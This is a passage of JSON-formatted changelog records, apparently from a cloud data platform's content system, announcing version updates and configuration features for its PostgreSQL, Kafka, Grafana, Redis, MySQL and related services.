supported."}],"markDefs":[],"style":"normal"}],"publishedAt":"2022-08-24T00:00:00.000Z","tags":[{"_key":"e43574dee393","_ref":"9096ab2c-f4cd-421e-aa1a-b10d462d6011","_type":"tool"}],"title":"Removed `never` from the accepted maintenance configuration options"} {"_createdAt":"2022-10-27T09:03:46Z","_i18n_lang":"en","_id":"50805cd1-487d-4ddc-bf0c-7b609fa94851","_rev":"rHrbN7cdfRjM6CvZf3JBe2","_type":"changelog","_updatedAt":"2022-10-27T09:03:46Z","changeType":"","publishedAt":"2021-08-20T00:00:00.000Z","tags":[{"_key":"30f3e50e-f2d4-43b1-80fd-96416e94a03b","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL's TimescaleDB extension version 2.4.1 is available."} {"_createdAt":"2022-10-27T09:04:12Z","_i18n_lang":"en","_id":"22ed8c0c-eab8-4ec5-b556-85045a6c45b5","_rev":"GNtcCQgxf3P3DqpLt1itKn","_type":"changelog","_updatedAt":"2022-10-27T09:04:12Z","changeType":"","publishedAt":"2021-05-26T00:00:00.000Z","tags":[{"_key":"6ee979f0-51be-461f-b75c-dca3e195c94b","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL's TimescaleDB extension has been updated to version 2.3.0."} {"_createdAt":"2022-10-27T09:04:43Z","_i18n_lang":"en","_id":"733b1fec-b67a-4363-9cda-37b1347e66d0","_rev":"rHrbN7cdfRjM6CvZf3JHCV","_type":"changelog","_updatedAt":"2022-10-27T09:04:43Z","changeType":"","publishedAt":"2021-03-31T00:00:00.000Z","tags":[{"_key":"42ee9f22-b24f-4ccf-9d46-fc281053b90e","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL's TimescaleDB extension has been updated to version 2.1.1."} {"_createdAt":"2022-10-27T09:02:00Z","_i18n_lang":"en","_id":"f23c4ec4-5d90-4ebc-a130-897f343f36b5","_rev":"KIlpVp44L6B7auDNL65hjE","_type":"changelog","_updatedAt":"2022-10-27T09:02:00Z","changeType":"","publishedAt":"2022-09-07T00:00:00.000Z","tags":[{"_key":"7d125d9c-6793-483f-b8fc-1196562a45f3","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL TimescaleDB version 2.8.0 is available."} {"_createdAt":"2022-10-27T09:02:49Z","_i18n_lang":"en","_id":"d86efdde-f970-46b5-92ce-7aa965fdd8c2","_rev":"HEiYk6nGjmUICadcDbSSUR","_type":"changelog","_updatedAt":"2022-10-27T09:02:49Z","changeType":"","publishedAt":"2022-04-11T00:00:00.000Z","tags":[{"_key":"e69b0b01-2139-4503-9c1e-877c61091991","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL TimescaleDB version 2.6.1 is available."} {"_createdAt":"2022-10-27T09:03:24Z","_i18n_lang":"en","_id":"c47e248b-e985-4470-866c-4ae2a102a484","_rev":"uVO3nVvSuHH0nc1h0MTW4m","_type":"changelog","_updatedAt":"2022-10-27T09:03:24Z","changeType":"","description":[{"_key":"c176738f-6d59-4620-a7cd-2239083e8427","_type":"block","children":[{"_key":"d3f2c692-163d-4493-ad8d-614041c613a8","_type":"span","marks":[],"text":"Categories and commands checks now stricter and conform Redis ACL documentation."}],"markDefs":[],"style":"normal"}],"publishedAt":"2021-11-24T00:00:00.000Z","tags":[{"_key":"59157b51-06cb-47be-b882-9731c454ad24","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Fixed Redis ACL fields validation"} {"_createdAt":"2022-10-27T09:04:16Z","_i18n_lang":"en","_id":"f2cb40a2-ac92-43f2-b13f-6d770058e2a5","_rev":"uVO3nVvSuHH0nc1h0MTcnw","_type":"changelog","_updatedAt":"2022-10-27T09:04:16Z","changeType":"","description":[{"_key":"158e8df7-e8ac-49d7-8f4a-da1f1dcbd53c","_type":"block","children":[{"_key":"f699b538-6a12-46d8-a563-8fc6f2d2e692","_type":"span","marks":[],"text":"See "},{"_key":"086cf45c-41b5-41c7-b069-509a2dcfba2d","_type":"span","marks":["m3802561810035"],"text":"Grafana configuration documentation"},{"_key":"94139ace-47c3-42fd-9c2f-f43908aaa8e1","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m3802561810035","_type":"link","href":"https://grafana.com/docs/grafana/latest/administration/configuration/#date_formats"}],"style":"normal"}],"publishedAt":"2021-05-21T00:00:00.000Z","tags":[{"_key":"5714af3a-81b4-425f-b8bc-cd07896384ae","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Added support for specifying custom date formatting for Grafana in user configuration"} {"_createdAt":"2022-10-27T09:04:26Z","_i18n_lang":"en","_id":"bf2677c7-ccaf-47cf-9d34-8b3901c42372","_rev":"uVO3nVvSuHH0nc1h0MTe0i","_type":"changelog","_updatedAt":"2022-10-27T09:04:26Z","changeType":"","publishedAt":"2021-05-06T00:00:00.000Z","tags":[{"_key":"8005a9bc-c82c-46bc-996b-4faf30753ece","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL's TimescaleDB extension has been updated to version 2.2.1."} {"_createdAt":"2022-10-27T09:02:30Z","_i18n_lang":"en","_id":"aece3b44-7129-4ed5-bc4a-d774739025c4","_rev":"7JYD5XroFCjaK9NJzk3hkc","_type":"changelog","_updatedAt":"2022-10-27T09:02:30Z","changeType":"","publishedAt":"2022-06-01T00:00:00.000Z","tags":[{"_key":"5014e015-bfaf-4f7a-b8c4-bcdb4d9b87ae","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"service"}],"title":"Aiven for MySQL version 8.0.28 is available."} {"_createdAt":"2022-10-27T09:02:31Z","_i18n_lang":"en","_id":"79daea54-81d4-4030-8529-58c2911bf0c1","_rev":"avO8DZ6Ky9k3TDzRfU5bop","_type":"changelog","_updatedAt":"2022-10-27T09:02:31Z","changeType":"","publishedAt":"2022-05-30T00:00:00.000Z","tags":[{"_key":"f4fc7561-dfaf-452d-a919-4d4483d1a753","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"service"}],"title":"Add email sender destination support for Opensearch Alerts."} {"_createdAt":"2022-10-27T09:02:42Z","_i18n_lang":"en","_id":"e084227e-5e57-4d29-b2c3-0954246a8ba6","_rev":"7JYD5XroFCjaK9NJzk3iF2","_type":"changelog","_updatedAt":"2022-10-27T09:02:42Z","changeType":"","description":[{"_key":"ba3b8288-6dff-4001-be8b-69c49158c59e","_type":"block","children":[{"_key":"e662036d-4f69-4c74-91e4-3386c173c681","_type":"span","marks":[],"text":"See "},{"_key":"aedb6d6b-af7f-4a2e-8639-1dc2fa5aac81","_type":"span","marks":["m2288653232364"],"text":"release notes"},{"_key":"05c7cd1a-0b20-4bfd-96f8-236dff15f75e","_type":"span","marks":[],"text":" for more details about the PostgreSQL minor releases."}],"markDefs":[{"_key":"m2288653232364","_type":"link","href":"https://www.postgresql.org/docs/release/"}],"style":"normal"}],"publishedAt":"2022-05-12T00:00:00.000Z","tags":[{"_key":"2c2e900c-96c6-4fe4-981f-c759a3f9be91","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL updated to latest minor releases 14.3, 13.7, 12.11, 11.16 and 10.21"} {"_createdAt":"2022-10-27T09:03:11Z","_i18n_lang":"en","_id":"6735b66a-d36e-4d16-af23-a4ee22010afc","_rev":"avO8DZ6Ky9k3TDzRfU5mYL","_type":"changelog","_updatedAt":"2022-10-27T09:03:11Z","changeType":"","description":[{"_key":"76c513c1-1417-4e4d-b449-06df760783b4","_type":"block","children":[{"_key":"eb6c9607-7cc7-48b0-9133-13c3b4d2f35c","_type":"span","marks":[],"text":"Please see the "},{"_key":"67f18976-d8f4-438e-be87-24e6604bb88d","_type":"span","marks":["m8636815376896"],"text":"Release Notes"},{"_key":"7ffbaf61-3fc1-42ed-9ce2-12d9aa65ee59","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8636815376896","_type":"link","href":"https://flink.apache.org/news/2021/12/16/log4j-patch-releases.html"}],"style":"normal"}],"publishedAt":"2021-12-20T00:00:00.000Z","tags":[{"_key":"9c55e2eb-231e-4f29-bddf-bc334933192d","_ref":"1e5afeea-8442-4a65-84fd-5475f78e09b3","_type":"service"}],"title":"Apache Flink version 1.13.5 is now available on Aiven"} {"_createdAt":"2022-10-27T09:04:21Z","_i18n_lang":"en","_id":"b808ba76-c1b3-4318-9521-0db5b49aa34b","_rev":"G4qVVLRzbD2hZSG98TuBAH","_type":"changelog","_updatedAt":"2022-10-27T09:04:21Z","changeType":"","description":[{"_key":"e59755dc-80c8-4b39-a38e-33b73c8a26d4","_type":"block","children":[{"_key":"edb57a07-cded-4b88-83da-002a9a2d1684","_type":"span","marks":[],"text":"Please see "},{"_key":"3ee4e411-5b16-4bec-bed8-2c4fcaff34fa","_type":"span","marks":["m13193994459364"],"text":"the documentation"},{"_key":"3351abbd-2391-40c9-8d64-f2c9c5f786a5","_type":"span","marks":[],"text":". This update contains breaking changes in the configuration and in Java API, please check the "},{"_key":"f4032fde-c430-4ca1-91e6-ae91e99b37a4","_type":"span","marks":["m5477258849878"],"text":"migration guide"},{"_key":"e21ebc56-2339-445a-8627-1774ff0852b6","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m13193994459364","_type":"link","href":"https://docs.couchbase.com/kafka-connector/current/index.html"},{"_key":"m5477258849878","_type":"link","href":"https://docs.couchbase.com/kafka-connector/current/migration.html"}],"style":"normal"}],"publishedAt":"2021-05-12T00:00:00.000Z","tags":[{"_key":"cbd3207b-a11d-4e1e-b3c6-eb440a081210","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Couchbase Kafka Connect Connector has been updated to version 4.0.6"} {"_createdAt":"2022-10-27T09:03:01Z","_i18n_lang":"en","_id":"a7a69f3f-652e-42e9-bf2d-e60ed66bd993","_rev":"IjlUDifCqOGnZON8gZvfgN","_type":"changelog","_updatedAt":"2022-10-27T09:03:01Z","changeType":"","publishedAt":"2022-02-09T00:00:00.000Z","tags":[{"_key":"72383fc9-a5cd-4afd-a1cc-bbb1dca36edd","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL TimescaleDB version 2.5.2 is available."} {"_createdAt":"2022-10-27T09:04:51Z","_i18n_lang":"en","_id":"b080cfaf-b949-48b1-be5a-6a4cd8e72943","_rev":"WYf15BwQWb3V4yHfbxO7GF","_type":"changelog","_updatedAt":"2022-10-27T09:04:51Z","changeType":"","publishedAt":"2021-03-10T00:00:00.000Z","tags":[{"_key":"09da087c-ea8a-4e2c-8311-e38bb7486ce6","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"MirrorMaker 2 configuration enhancement to toggle heartbeat emitting"} {"_createdAt":"2022-10-27T09:03:20Z","_i18n_lang":"en","_id":"b76ca7e6-d2e9-4a95-af94-928a28aea022","_rev":"G4qVVLRzbD2hZSG98Ttu9C","_type":"changelog","_updatedAt":"2022-10-27T09:03:20Z","changeType":"","publishedAt":"2021-12-03T00:00:00.000Z","tags":[{"_key":"dc083731-01c5-4323-b246-0e76e6a1304d","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL TimescaleDB version 2.5.1 is available."} {"_createdAt":"2022-10-27T09:04:01Z","_i18n_lang":"en","_id":"b7272f85-16a0-44d3-ad31-96eded0021a9","_rev":"uVO3nVvSuHH0nc1h0MTaYE","_type":"changelog","_updatedAt":"2022-10-27T09:04:01Z","changeType":"","description":[{"_key":"d619618c-5822-4d0e-8117-b766b8c685f4","_type":"block","children":[{"_key":"b9c35bc5-197c-4aec-af53-b1f22670f07c","_type":"span","marks":[],"text":"See "},{"_key":"ca869bce-643e-42fb-9b40-fa3fb1b73ea8","_type":"span","marks":["m2061559537778"],"text":"Open Distro for Elasticsearch"},{"_key":"640a8ef8-db6d-4710-980f-f50610590b6b","_type":"span","marks":[],"text":" for more information."}],"markDefs":[{"_key":"m2061559537778","_type":"link","href":"https://opendistro.github.io/for-elasticsearch/features/alerting.html"}],"style":"normal"}],"publishedAt":"2021-06-24T00:00:00.000Z","tags":[],"title":"Open Distro for Elasticsearch Alerting plugin is now included in Aiven for Elasticsearch"} {"_createdAt":"2022-10-27T09:03:22Z","_i18n_lang":"en","_id":"0d34b24a-915a-4b94-b478-6dc49721a24c","_rev":"rHrbN7cdfRjM6CvZf3JANf","_type":"changelog","_updatedAt":"2022-10-27T09:03:22Z","changeType":"","publishedAt":"2021-12-01T00:00:00.000Z","tags":[{"_key":"e6ef6165-9a8e-4b9a-a99e-99d5d4940b06","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL 13 and later versions now support customizing max_slot_wal_keep_size."} {"_createdAt":"2022-10-27T09:04:08Z","_i18n_lang":"en","_id":"979335eb-08a3-4e7c-8a81-b74eb1b2d3c1","_rev":"HEiYk6nGjmUICadcDbSglU","_type":"changelog","_updatedAt":"2022-10-27T09:04:08Z","changeType":"","publishedAt":"2021-06-08T00:00:00.000Z","tags":[{"_key":"e61f9eca-c21a-4190-b062-a59f92fc3e44","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Karapace update with support for schema hard delete"} {"_createdAt":"2022-10-27T09:03:19Z","_i18n_lang":"en","_id":"baca3a6c-963e-458c-bf41-38b09fa40c45","_rev":"7JYD5XroFCjaK9NJzk3kn4","_type":"changelog","_updatedAt":"2022-10-27T09:03:19Z","changeType":"","publishedAt":"2021-12-06T00:00:00.000Z","tags":[{"_key":"2d44517b-3039-4fa9-bff1-a8d5c7b1f0ad","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Security update for Grafana version 8.2.5."} {"_createdAt":"2022-10-27T09:03:30Z","_i18n_lang":"en","_id":"6f8b0d8f-b71f-4a23-96e6-4de055ba604b","_rev":"7JYD5XroFCjaK9NJzk3ksG","_type":"changelog","_updatedAt":"2022-10-27T09:03:30Z","changeType":"","publishedAt":"2021-11-02T00:00:00.000Z","tags":[{"_key":"baf2b2da-e79a-476f-af7b-4bd286152e90","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL TimescaleDB version 2.5.0 is available."} {"_createdAt":"2022-10-27T09:03:37Z","_i18n_lang":"en","_id":"b991b6f6-4517-4f38-9d22-a698093fb115","_rev":"RS2LhK1JP0SKK0JvX1PnT1","_type":"changelog","_updatedAt":"2022-10-27T09:03:37Z","changeType":"","publishedAt":"2021-09-22T00:00:00.000Z","tags":[{"_key":"70225d61-3fc8-43b2-aada-a4882e11e308","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL's TimescaleDB extension version 2.4.2 is available."} {"_createdAt":"2022-10-27T09:04:32Z","_i18n_lang":"en","_id":"d84e60a3-838b-48cc-afe6-46a7f936d4ea","_rev":"IjlUDifCqOGnZON8gZwOJd","_type":"changelog","_updatedAt":"2022-10-27T09:04:32Z","changeType":"","publishedAt":"2021-04-29T00:00:00.000Z","tags":[{"_key":"6bdae0fc-798c-4517-b0c6-debdcd448e0a","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Add user configuration option to control Redis persistence"} {"_createdAt":"2022-10-27T09:04:49Z","_i18n_lang":"en","_id":"f622aacb-1db2-493e-b97a-d2be97b93b17","_rev":"avO8DZ6Ky9k3TDzRfU67Gd","_type":"changelog","_updatedAt":"2022-10-27T09:04:49Z","changeType":"","publishedAt":"2021-03-15T00:00:00.000Z","tags":[{"_key":"de63318d-e13f-4dd9-8a71-a7e29df739d5","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL's TimescaleDB extension has been updated to version 2.1.0."} {"_createdAt":"2022-10-27T09:03:52Z","_i18n_lang":"en","_id":"d0308cd6-78f5-4737-9709-d816019d6790","_rev":"IjlUDifCqOGnZON8gZvwDS","_type":"changelog","_updatedAt":"2022-10-27T09:03:52Z","changeType":"","publishedAt":"2021-07-30T00:00:00.000Z","tags":[{"_key":"f41b880b-5eda-40aa-b5cf-aff0daa83de9","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL's TimescaleDB extension has been updated to version 2.4.0."} {"_createdAt":"2022-10-27T09:03:44Z","_i18n_lang":"en","_id":"a991fa5e-cdff-4d47-a297-1db4d5bfc575","_rev":"7JYD5XroFCjaK9NJzk3ljg","_type":"changelog","_updatedAt":"2022-10-27T09:03:44Z","changeType":"","publishedAt":"2021-08-27T00:00:00.000Z","tags":[{"_key":"6a740dda-5753-48a5-bcfd-3c42f1006182","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Upgraded Aiven For PostgreSQL extension pg_cron to version 1.3.1."} {"_createdAt":"2022-10-27T09:07:32Z","_i18n_lang":"en","_id":"3f239938-2430-4ebc-a2bc-3dbcb7023ae1","_rev":"LZdZtpADiowz8bkvB6ndix","_type":"changelog","_updatedAt":"2022-10-27T09:07:32Z","changeType":"","publishedAt":"2019-11-01T00:00:00.000Z","tags":[{"_key":"cbd63dfa-76ec-41f4-a4a0-ae744f4eb239","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL's TimescaleDB extension has been updated to version 1.5.0."} {"_createdAt":"2022-10-27T09:07:38Z","_i18n_lang":"en","_id":"3b6ec7f4-46e0-4a48-9316-2d8872b8a598","_rev":"dTcxLudMA3V5vz7pZEQfCl","_type":"changelog","_updatedAt":"2022-10-27T09:07:38Z","changeType":"","description":[{"_key":"073deb03-f221-4e07-bcf9-bd9e1b763e7d","_type":"block","children":[{"_key":"1b5c137e-1eb8-4226-b3bc-6ea0e7fff357","_type":"span","marks":[],"text":"Please see "},{"_key":"255875c2-cc1a-4f82-b959-27dd0052a563","_type":"span","marks":["m5697812481105"],"text":"BigQuery Datasource"},{"_key":"f4ff7792-cd89-4450-9508-4a49e8a22470","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m5697812481105","_type":"link","href":"https://grafana.com/plugins/doitintl-bigquery-datasource"}],"style":"normal"}],"publishedAt":"2019-10-24T00:00:00.000Z","tags":[{"_key":"60a100a1-9ece-49c1-b32a-cc25322db918","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Added BigQuery datasource to Grafana"} {"_createdAt":"2022-10-27T09:07:43Z","_i18n_lang":"en","_id":"8fffc164-b7eb-4173-a466-46c0a317f22d","_rev":"7JYD5XroFCjaK9NJzk3uSY","_type":"changelog","_updatedAt":"2022-10-27T09:07:43Z","changeType":"","publishedAt":"2019-10-21T00:00:00.000Z","tags":[{"_key":"367ddc51-af9c-4d2e-8715-4595828cdcb9","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL extension PostGIS has been updated to version 2.5.3"} {"_createdAt":"2022-10-27T09:07:52Z","_i18n_lang":"en","_id":"f753bfde-ae9a-4135-8b4f-6fc3d6c7463f","_rev":"chYcdg0OBeHzQFNhare9w9","_type":"changelog","_updatedAt":"2022-10-27T09:07:52Z","changeType":"","publishedAt":"2019-10-04T00:00:00.000Z","tags":[{"_key":"1b3a634a-f336-4b16-8cce-d7ad852c7f3a","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL's TimescaleDB extension has been updated to version 1.4.2."} {"_createdAt":"2022-10-27T09:07:59Z","_i18n_lang":"en","_id":"6a25b370-2962-4c29-a25e-314ec8ae40b2","_rev":"LZdZtpADiowz8bkvB6neNA","_type":"changelog","_updatedAt":"2022-10-27T09:07:59Z","changeType":"","description":[{"_key":"94ee2171-f612-4d8b-814c-98224e2c7d37","_type":"block","children":[{"_key":"66a6e4a9-c5ec-4b5c-9963-07b601b4b431","_type":"span","marks":[],"text":"Please see "},{"_key":"cee181e1-caa2-47be-8b90-6eab422b188c","_type":"span","marks":["m1768960206853"],"text":"the documentation"},{"_key":"51620146-a214-4202-82d8-801ca9ac6975","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m1768960206853","_type":"link","href":"https://docs.snowflake.net/manuals/user-guide/kafka-connector.html"}],"style":"normal"}],"publishedAt":"2019-09-10T00:00:00.000Z","tags":[{"_key":"d513cdf3-9a56-4e4f-8caf-6f6212277890","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Snowflake Kafka Connect Connector has been updated to version 0.4.0"} {"_createdAt":"2022-10-27T09:08:00Z","_i18n_lang":"en","_id":"9efc88d1-0b09-4da1-a360-93d79ae7a247","_rev":"HEiYk6nGjmUICadcDbTJM2","_type":"changelog","_updatedAt":"2022-10-27T09:08:00Z","changeType":"","publishedAt":"2019-09-10T00:00:00.000Z","tags":[{"_key":"73ec19fc-4230-4592-999d-d30204460614","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Added more Kafka Connect metrics (connect-worker-rebalance-metrics, sink-task-metrics, source-task-metrics)."} {"_createdAt":"2022-10-27T09:08:03Z","_i18n_lang":"en","_id":"79059c7f-f260-4f99-b38c-86caf384e09c","_rev":"HEiYk6nGjmUICadcDbTJZ0","_type":"changelog","_updatedAt":"2022-10-27T09:08:03Z","changeType":"","description":[{"_key":"3f21bb02-df16-4e3b-af96-db1509a10471","_type":"block","children":[{"_key":"5a1a99dc-df13-4eb8-b563-a9ac168fb499","_type":"span","marks":[],"text":"Also Kafka 2.1 and 2.2 are updated to the latest code. Support was also added for separate Kafka Connect clusters."}],"markDefs":[],"style":"normal"}],"publishedAt":"2019-09-05T00:00:00.000Z","tags":[{"_key":"0fbf806b-84c4-41d3-b3e2-86cbcebce139","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Apache Kafka version 2.3 is now available on Aiven"} {"_createdAt":"2022-10-27T09:09:56Z","_i18n_lang":"en","_id":"8d58abdd-1be8-4912-b1be-c8d246126486","_rev":"Dn65xz5Z1k22g7BhlztMSF","_type":"changelog","_updatedAt":"2022-10-27T09:09:56Z","changeType":"","description":[{"_key":"bb4df9e0-8a99-441e-bb5e-000905efc13f","_type":"block","children":[{"_key":"a8348c87-a1d7-4737-8b58-2d55cfd963a3","_type":"span","marks":[],"text":"See the "},{"_key":"aa01b412-a081-4329-8520-7e15e23289a0","_type":"span","marks":["m11302039473301"],"text":"release announcement"},{"_key":"5eef0d82-be9f-4a49-9492-7c64d551af2b","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m11302039473301","_type":"link","href":"https://www.postgresql.org/about/news/1878/"}],"style":"normal"}],"publishedAt":"2018-08-10T00:00:00.000Z","tags":[{"_key":"15c20108-e4db-4131-86bd-84e96f6a8eef","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL updated to latest minor releases 10.5, 9.6.10, 9.5.14 and 9.3.24"} {"_createdAt":"2022-10-27T09:09:58Z","_i18n_lang":"en","_id":"315e8465-dc4d-40d9-a38a-baeb06f84036","_rev":"Dn65xz5Z1k22g7BhlztMWr","_type":"changelog","_updatedAt":"2022-10-27T09:09:58Z","changeType":"","publishedAt":"2018-08-06T00:00:00.000Z","tags":[{"_key":"d544c0ad-d57a-4497-b646-d866adeec5ab","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Pgbouncer statistics are now available for the Aiven for PostgreSQL primary user (avnadmin.)"} {"_createdAt":"2022-10-27T09:09:59Z","_i18n_lang":"en","_id":"238bac39-7c37-4329-9419-ad1f69b17f57","_rev":"HEiYk6nGjmUICadcDbTYmP","_type":"changelog","_updatedAt":"2022-10-27T09:09:59Z","changeType":"","publishedAt":"2018-08-03T00:00:00.000Z","tags":[{"_key":"da83434d-9503-44dd-b353-a1e60aa09ee3","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Kafka's Schema registry, Kafka-REST and Connect framework have been updated to version 5.0.0"} {"_createdAt":"2022-10-27T09:03:59Z","_i18n_lang":"en","_id":"0bb659da-14f8-4c32-878b-411b9ea45b18","_rev":"7JYD5XroFCjaK9NJzk3mAO","_type":"changelog","_updatedAt":"2022-10-27T09:03:59Z","changeType":"","publishedAt":"2021-07-08T00:00:00.000Z","tags":[{"_key":"c2be4857-e9cb-4ad9-9192-f41ea35f97d2","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL's TimescaleDB extension has been updated to version 2.3.1."} {"_createdAt":"2022-10-27T09:08:06Z","_i18n_lang":"en","_id":"7495c700-3af0-4df1-9457-594ae77fd5da","_rev":"ri8ZjU8zRgh6Niwltv1Cmj","_type":"changelog","_updatedAt":"2022-10-27T09:08:06Z","changeType":"","description":[{"_key":"baf03371-adb1-489a-abfc-d11a36be6c20","_type":"block","children":[{"_key":"77335141-e2e9-46f8-9621-66538c355093","_type":"span","marks":[],"text":"Please see "},{"_key":"39a30998-0f23-4466-aaab-0703c1c66fa2","_type":"span","marks":["m420254264949"],"text":"the documentation"},{"_key":"86dae7ac-6588-4be6-bc79-65d98b418da3","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m420254264949","_type":"link","href":"https://github.com/aiven/kafka-connect-bigquery/tree/1.2.0-explicit-json-credentials"}],"style":"normal"}],"publishedAt":"2019-08-13T00:00:00.000Z","tags":[{"_key":"6c4ee8b1-d2b0-4057-b9fe-0575d24e5c6a","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Kafka Connect sink connector for Google BigQuery version 1.2.0 has been added"} {"_createdAt":"2022-10-27T09:04:04Z","_i18n_lang":"en","_id":"0625145d-3532-4d6e-a6ff-dd566a11f168","_rev":"MEha5B96IszmAjyiiUpPnD","_type":"changelog","_updatedAt":"2022-10-27T09:04:04Z","changeType":"","description":[{"_key":"31ab67c2-870f-4983-97ad-e5f68b92dd94","_type":"block","children":[{"_key":"51715895-1578-46ae-844f-aeb33450c36b","_type":"span","marks":[],"text":"Please see the "},{"_key":"8e65d554-ddea-483a-8f36-02e3991afba9","_type":"span","marks":["m2977769327800"],"text":"documentation"},{"_key":"a35f9301-9892-4f5a-a27c-ba28f9b8c1eb","_type":"span","marks":[],"text":". This update contains breaking changes in the configuration, please check the migration guides "},{"_key":"aad5c433-c562-4873-9bb0-b362a578353d","_type":"span","marks":["m14836667025803"],"text":"here"},{"_key":"9d6ccded-f0ba-4e78-b3ca-39ab00b96b0d","_type":"span","marks":[],"text":" and "},{"_key":"365c85d4-d038-4647-9fc6-2d70d7aed5b3","_type":"span","marks":["m15711886577626"],"text":"here"},{"_key":"1ec7e6d0-6137-41fa-a8bc-a923cdbb23ef","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m2977769327800","_type":"link","href":"https://github.com/confluentinc/kafka-connect-bigquery/blob/v2.1.4/README.md"},{"_key":"m14836667025803","_type":"link","href":"https://github.com/confluentinc/kafka-connect-bigquery/blob/master/README.md#migrating-to-2xx"},{"_key":"m15711886577626","_type":"link","href":"https://docs.confluent.io/kafka-connect-bigquery/current/index.html#upgrading-bigquery-2-0-x"}],"style":"normal"}],"publishedAt":"2021-06-15T00:00:00.000Z","tags":[{"_key":"6ee3d3ee-a40a-45d1-87d4-7471adda1073","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Kafka Connect sink connector for Google BigQuery version has been updated to version 2.1.4"} {"_createdAt":"2022-10-27T09:08:11Z","_i18n_lang":"en","_id":"fbe029a5-7e81-4b39-96e8-9f779095de59","_rev":"RS2LhK1JP0SKK0JvX1Qvx1","_type":"changelog","_updatedAt":"2022-10-27T09:08:11Z","changeType":"","publishedAt":"2019-07-10T00:00:00.000Z","tags":[{"_key":"dd92465e-94b1-4444-adb1-719926539f0d","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Metrics for Kafka Connect"} {"_createdAt":"2022-10-27T09:04:46Z","_i18n_lang":"en","_id":"7a4a12ca-3e08-428a-8674-a9d9cc029a2c","_rev":"GNtcCQgxf3P3DqpLt1ixnh","_type":"changelog","_updatedAt":"2022-10-27T09:04:46Z","changeType":"","description":[{"_key":"81705fb5-5a8c-432f-a9ec-9854cadee100","_type":"block","children":[{"_key":"da63640f-8284-459f-8326-c4d62bb27918","_type":"span","marks":[],"text":"Existing connectors continue to work, but creation of new ones is disabled. Please consider using Aiven Elasticsearch sink connector, which is compatible."}],"markDefs":[],"style":"normal"}],"publishedAt":"2021-03-25T00:00:00.000Z","tags":[{"_key":"a337a673-565f-4ae9-8fd0-0f503fc2d24a","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Confluent Elasticsearch sink connector is now deprecated"} 